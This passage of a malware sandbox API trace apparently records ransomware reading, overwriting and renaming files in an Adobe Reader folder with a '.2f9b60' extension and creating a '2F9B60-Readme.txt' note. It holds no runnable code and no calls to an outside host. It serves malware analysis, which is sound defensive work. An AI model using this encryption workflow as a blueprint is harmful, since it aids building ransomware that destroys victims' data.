[0163.941] wcscat (in: _Dest=0x4230de20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\fd79d52af9c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\fd79d52af9c.2f9b60" [0163.941] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\fd79d52af9c.2f9b60", NtPathName=0x25f5f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\fd79d52af9c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a810 Thread: id = 2437 os_tid = 0x1e88 [0153.471] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur")) returned 0x20 [0153.776] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR", dwFileAttributes=0x20) returned 1 [0153.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e4 [0153.789] GetFileSizeEx (in: hFile=0x13e4, lpFileSize=0x29c1fe20 | out: lpFileSize=0x29c1fe20*=7680) returned 1 [0153.789] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.789] ReadFile (in: hFile=0x13e4, lpBuffer=0x29c1fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c1fde8, lpOverlapped=0x0 | out: lpBuffer=0x29c1fda0*, lpNumberOfBytesRead=0x29c1fde8*=0x4, lpOverlapped=0x0) returned 1 [0154.059] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f00 [0154.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f90 [0154.059] NtQuerySystemTime (in: CurrentTime=0x29c1fce0 | out: CurrentTime=0x29c1fce0*=132462177591898000) returned 0x0 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x18bb0a15 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x39f85d95 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x40c4854b [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x6e9002e0 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x7903cb71 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x6795e2f6 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x69694d99 [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x21083dbd [0154.059] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0xaf61016 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x71a1552e [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x502fd353 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x3536cd18 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x1b7632ff [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x4f05425d [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x3904c94a [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x5ca323e2 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x17dfa54b [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x248638b7 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x8ec4c6 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x313914d3 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x766f3db8 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x429fe71b [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x5868d26d [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x3429c0b0 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x6c05e527 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x4d1c5833 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x49ed4033 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x9fc88e7 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x477fca04 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x4a40f036 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x77dbb164 [0154.060] RtlRandomEx (in: Seed=0x29c1fcd0 | out: Seed=0x29c1fcd0) returned 0x3ab2de36 [0154.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8fc0 [0154.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0154.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ff0 [0154.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0154.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f90) returned 1 [0154.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1930 [0154.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0154.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42787240 [0154.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4278ae50 [0154.074] ReadFile (in: hFile=0x13e4, lpBuffer=0x42787240, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x29c1fcd0, lpOverlapped=0x0 | out: lpBuffer=0x42787240*, lpNumberOfBytesRead=0x29c1fcd0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.101] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.101] WriteFile (in: hFile=0x13e4, lpBuffer=0x4278ae50*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x29c1fcd4, lpOverlapped=0x0 | out: lpBuffer=0x4278ae50*, lpNumberOfBytesWritten=0x29c1fcd4*=0x1e00, lpOverlapped=0x0) returned 1 [0161.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6950 [0161.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6980 [0161.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6980) returned 1 [0161.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4278ae50) returned 1 [0161.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42787240) returned 1 [0161.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0161.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1930) returned 1 [0161.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6980 [0161.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1930 [0161.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0161.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a69b0 [0161.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a69b0) returned 1 [0161.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a69b0 [0161.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a69e0 [0161.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6a10 [0161.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6a10) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1930) returned 1 [0161.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a92c0 [0161.968] SetFilePointerEx (in: hFile=0x13e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.968] WriteFile (in: hFile=0x13e4, lpBuffer=0x423a92c0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x29c1fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423a92c0*, lpNumberOfBytesWritten=0x29c1fdf0*=0x108, lpOverlapped=0x0) returned 1 [0163.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3cd0 [0163.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3cd0) returned 1 [0163.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d080 [0163.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3cd0 [0163.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ca0 [0163.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ca0) returned 1 [0163.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0163.910] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="32") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="71") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="2b") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="99") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="da") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="41") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="25") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="32") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="b4") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="db") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="6d") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="33") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="fb") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="67") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="32") returned 2 [0163.910] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="79") returned 2 [0163.910] RtlInitAnsiString (in: DestinationString=0x29c1fe68, SourceString="32712bf63e99cfcdda412532b4db6d33fb673fcd3279" | out: DestinationString="32712bf63e99cfcdda412532b4db6d33fb673fcd3279") [0163.911] RtlAnsiStringToUnicodeString (in: DestinationString=0x29c1fe38, SourceString="32712bf63e99cfcdda412532b4db6d33fb673fcd3279", AllocateDestinationString=1 | out: DestinationString="32712bf63e99cfcdda412532b4db6d33fb673fcd3279") returned 0x0 [0163.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fa200 [0163.911] RtlFreeAnsiString (AnsiString="3") [0163.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3cd0) returned 1 [0163.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a92c0) returned 1 [0163.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a69b0) returned 1 [0163.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a69e0) returned 1 [0163.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6980) returned 1 [0163.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6950) returned 1 [0163.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f00) returned 1 [0163.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8fc0) returned 1 [0163.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ff0) returned 1 [0163.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230dc40 [0163.914] wcscat (in: _Dest=0x4230dc40, _Source="32712bf63e9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\32712bf63e9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\32712bf63e9" [0163.914] wcscat (in: _Dest=0x4230dc40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\32712bf63e9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\32712bf63e9.2f9b60" [0163.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\32712bf63e9.2f9b60", NtPathName=0x29c1fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\32712bf63e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a5d0 [0238.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2a5d0) returned 1 [0238.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2c950) returned 1 [0238.136] NtQueryInformationFile (in: FileHandle=0x13e4, IoStatusBlock=0x29c1fe78, FileInformation=0x29c1fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29c1fe78, FileInformation=0x29c1fe88) returned 0x0 [0238.136] NtSetInformationFile (FileHandle=0x13e4, IoStatusBlock=0x29c1fe78, FileInformation=0x29c1fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230dc40) returned 1 [0242.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fa200) returned 1 [0242.340] FlushFileBuffers (hFile=0x13e4) returned 1 [0242.342] CloseHandle (hObject=0x13e4) returned 1 [0242.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431974e0 [0242.821] wcscpy (in: _Dest=0x431974e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0242.821] wcscat (in: _Dest=0x431974e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0242.821] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) Thread: id = 2438 os_tid = 0x1e8c [0153.472] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr")) returned 0x20 [0153.776] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR", dwFileAttributes=0x20) returned 1 [0153.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e8 [0153.787] GetFileSizeEx (in: hFile=0x13e8, lpFileSize=0x296afb80 | out: lpFileSize=0x296afb80*=7680) returned 1 [0153.787] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.787] ReadFile (in: hFile=0x13e8, lpBuffer=0x296afb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x296afb48, lpOverlapped=0x0 | out: lpBuffer=0x296afb00*, lpNumberOfBytesRead=0x296afb48*=0x4, lpOverlapped=0x0) returned 1 [0153.790] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f40 [0153.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053fd0 [0153.791] NtQuerySystemTime (in: CurrentTime=0x296afa40 | out: CurrentTime=0x296afa40*=132462177589246000) returned 0x0 [0153.791] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x47cc6f61 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x15804921 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0xef1a349 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x47a196a1 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x476f1bed [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x74598503 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x4353c7c8 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x67bae4f6 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x5cdcb38 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x67f915b9 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x17b3217f [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x63233576 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x47210c61 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x7fad20e7 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x629c0e2c [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x27a11b33 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x2db613e9 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x5e5be37 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x5567a4d2 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x245da186 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x240a1be1 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x6a4c3c3d [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x4ce7d375 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x68a9a11f [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x57e2c40 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x69c7b75 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x3031bac8 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x76aff040 [0153.792] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x64e3f08e [0153.793] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x1ca680d3 [0153.793] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x587536ea [0153.793] RtlRandomEx (in: Seed=0x296afa30 | out: Seed=0x296afa30) returned 0x418aac62 [0153.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42054000 [0153.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0153.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42054030 [0153.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0153.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053fd0) returned 1 [0153.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1660 [0153.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0153.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42743630 [0153.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42747240 [0153.806] ReadFile (in: hFile=0x13e8, lpBuffer=0x42743630, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x296afa30, lpOverlapped=0x0 | out: lpBuffer=0x42743630*, lpNumberOfBytesRead=0x296afa30*=0x1e00, lpOverlapped=0x0) returned 1 [0153.809] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.809] WriteFile (in: hFile=0x13e8, lpBuffer=0x42747240*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x296afa34, lpOverlapped=0x0 | out: lpBuffer=0x42747240*, lpNumberOfBytesWritten=0x296afa34*=0x1e00, lpOverlapped=0x0) returned 1 [0161.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ab0 [0161.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ae0 [0161.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ae0) returned 1 [0161.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42747240) returned 1 [0161.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42743630) returned 1 [0161.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0161.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1660) returned 1 [0161.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a5ae0 [0161.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1660 [0161.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0161.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5b10 [0161.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5b10) returned 1 [0161.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a5b10 [0161.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5b40 [0161.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5b70 [0161.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5b70) returned 1 [0161.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 